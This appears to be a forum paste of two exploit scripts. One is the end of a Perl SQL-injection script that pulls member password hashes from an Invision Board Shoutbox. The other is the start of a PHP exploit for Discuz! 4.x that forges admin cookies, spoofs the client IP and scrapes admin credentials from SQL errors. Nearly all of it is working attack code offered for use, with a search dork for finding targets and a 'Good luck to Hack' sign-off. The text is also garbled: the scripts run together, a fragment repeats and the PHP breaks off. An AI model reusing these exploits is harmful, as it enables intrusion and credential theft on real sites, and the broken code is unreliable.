# did we get 200 (OK) ? if (!$resp->is_success()) { die 'Error: ' . $resp->status_line . "\n" } # was the pass right ? if ($resp->content =~ /sorry, the password was wrong/i) { die "Error: password incorrect.\n"; } $| = 1; print "\nAttempting to extract password hash from database \n "; $sql = "?act=Shoutbox&view=mycp&sub=ignored&do=add&id=-1 union select member_login_key,1,1 from ".$table_fix."members where id=". $id ."/*"; $resp = $ua->get ($base_url . $post_pm_page . $sql ); if (!$resp->is_success()) { print "ERROR" ; } else { print "" ; #print $resp->content; $rs=$resp->content; if ( $rs =~ /uid=([a-z,0-9]{32})/ ) { print "HASH : "; print $1 ; print "\n \n Bug Hunter By : Longnhi \n"; print "Exploit Coded By : Windak & langtuhaohoa ! We are : Www.HceGroup.Net ! "; } else { print "Can't get the pass from output, try to find it manually : "; print $resp- >content;} } print "\x08 \x08\n hehehe ! Good luck to Hack !.\n"; <STDIN>; langtuhaohoa(HCE) iscuz! 4.x SQL Injection / Admin Credentials Disclosure Exploit PHP Code: <?php print_r(' Discuz! 4.x SQL injection / admin credentials disclosure exploit by rgod rgod@autistici.org site: http://retrogod.altervista.org dork: "powered by discuz! '); if ($argc<3) { print_r(' Usage: php '.$argv[0].' host path OPTIONS host: target server (ip/hostname) path: path to discuz Options: -p[port]: specify a port other than 80 -P[ip:port]: specify a proxy Example: php '.$argv[0].' localhost /discuz/ -P1.1.1.1:80 php '.$argv[0].' localhost /discuz/ -p81 '); die; } error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",5); function quick_dump($string) { $result='';$exa='';$cont=0; for ($i=0; $i<=strlen($string)-1; $i++) { if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 )) {$result.=" .";} else {$result.=" ".$string[$i];} if (strlen(dechex(ord($string[$i])))==2) {$exa.=" ".dechex(ord($string[$i]));} else {$exa.=" 0".dechex(ord($string[$i]));} $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";} } return $exa."\r\n".$result; } $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') { $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.$host.':'.$port; die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo 'Not a valid proxy ';die; } $parts=explode(':',$proxy); echo "Connecting to ".$parts[0].":".$parts[1]." proxy \r\n"; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy ';die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); } $host=$argv[1]; $path=$argv[2]; $port=80; $proxy=""; for ($i=3; $i<$argc; $i++){ $temp=$argv[$i][0].$argv[$i][1]; if ($temp=="-p") { $port=str_replace("-p","",$argv[$i]); } if ($temp=="-P") { $proxy=str_replace("-P","",$argv[$i]); } } if (($path[0]<>'/') or ($path[strlen($path)- 1]<>'/')) {echo 'Error check the path!'; die;} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} echo "please wait \n"; //from global.func.php function authcode($string, $operation, $key = '') { $key = $key ? $key : $GLOBALS['discuz_auth_key']; $coded = ''; $keylength = 32; $string = $operation == 'DECODE' ? base64_decode($string) : $string; for($i = 0; $i < strlen($string); $i += 32) { $coded .= substr($string, $i, 32) ^ $key; } $coded = $operation == 'ENCODE' ? str_replace('=', '', base64_encode($coded)) : $coded; return $coded; } //stolen from install.php function random($length) { $hash = ''; $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklm nopqrstuvwxyz'; $max = strlen($chars) - 1; mt_srand((double)microtime() * 1000000); for($i = 0; $i < $length; $i++) { $hash .= $chars[mt_rand(0, $max)]; } return $hash; } $agent="Googlebot/2.1"; //see sql errors you need auth key, //it's a value mixed up with the random string in cache_settigns.php and your user- agent, so let's ask ;) $tt="";for ($i=0; $i<=255; $i++){$tt.=chr($i);} while (1) { $discuz_auth_key=random(32); $packet ="GET ".$p."admincp.php?action=recyclebin HTTP/1.0\r\n"; $packet.="CLIENT-IP: 999.999.999.999\r\n";//spoof $packet.="User-Agent: $agent\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Cookie: adminid=1; cdb_sid=1; cdb_auth=".authcode("suntzu\tsuntzu \t".$tt,"ENCODE").";\r\n"; $packet.="Accept: text/plain\r\n"; $packet.="Connection: Close\r\n\r\n"; $packet.=$data; sendpacketii($packet); $html=html_entity_decode($html); $html=str_replace("<br />","",$html); $t=explode("AND m.password='",$html); . ';die; } $parts=explode(':',$proxy); echo "Connecting to ".$parts[0].":".$parts[1]." proxy "; $ock=fsockopen($parts[0],$parts[1]); if (!$ock)